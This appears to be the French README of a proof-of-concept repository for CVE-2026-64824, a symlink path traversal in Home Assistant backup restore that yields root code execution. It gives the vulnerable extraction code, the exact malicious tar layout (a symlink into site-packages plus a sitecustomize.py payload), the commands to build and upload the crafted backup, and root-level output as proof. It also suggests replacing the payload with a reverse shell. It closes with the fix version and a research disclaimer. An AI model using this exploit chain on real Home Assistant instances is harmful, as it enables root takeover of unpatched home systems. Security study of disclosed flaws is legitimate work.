
CVE-2026-64824 — Traversée de chemin par lien symbolique dans la sauvegarde-restauration de Home Assistant → RCE root. Premier PoC fonctionnel, vérifié sur un vrai HA 2026.5.4 (écrasement de sitecustomize.py). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Critique) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
Un attaquant authentifié (administrateur) téléverse une archive tar de sauvegarde falsifiée. Le chemin de restauration extrait le homeassistant.tar.gz interne avec filter="fully_trusted" et ne valide que les noms des membres — jamais les linknames SYMTYPE. Un lien symbolique pointant vers un chemin absolu (par ex. site-packages/ de Python) est honoré, si bien qu'un sitecustomize.py écrit après lui atterrit en dehors du répertoire d'extraction en tant que root (l'image Docker officielle exécute HA en tant que root). Au prochain démarrage de Python, il est auto-importé → RCE en tant que root.
✅ Home Assistant Core 2026.5.4 réel (Docker, arm64, Python 3.14.2) :
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py a atterri dans /usr/local/lib/python3.14/site-packages/ (appartenant à root)
✅ Contre-vérification : le tarfile de Python 3.14.5 rejette les liens symboliques absolus (FileExistsError) ; Python 3.14.2 (fourni avec HA 2026.5.x) les extrait — c'est pourquoi les versions plus anciennes sont exploitables. Corrigé dans HA 2026.7.0.
homeassistant/backup_restore.py (~v2026.5.x) :
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() rejette les noms absolus et la traversée .., mais un membre SYMTYPE avec un nom bénin + un linkname absolu passe le filtre tel quel, et fully_trusted indique à tarfile de ne pas le contrôler.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
Format de sauvegarde (v2, correspond aux vraies sauvegardes HA) :
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
Tout démarrage d'un processus Python (redémarrage de HA, python3 ... dans le conteneur) déclenche sitecustomize.py — qui exécute id > /tmp/HA_PWNED_64824 en tant que root. Remplacez la charge utile par un reverse shell pour un contrôle total.
Mettez à niveau vers HA 2026.7.0+ (la restauration utilise désormais un filtre tar strict qui rejette les entrées de liens symboliques sortant du répertoire d'extraction).
À des fins de recherche et d'éducation uniquement. La vulnérabilité a déjà été divulguée (GHSA-cwh8-w64c-4j5h) et corrigée dans 2026.7.0 ; ce dépôt démontre la chaîne d'exploitation pour les défenseurs et les chercheurs.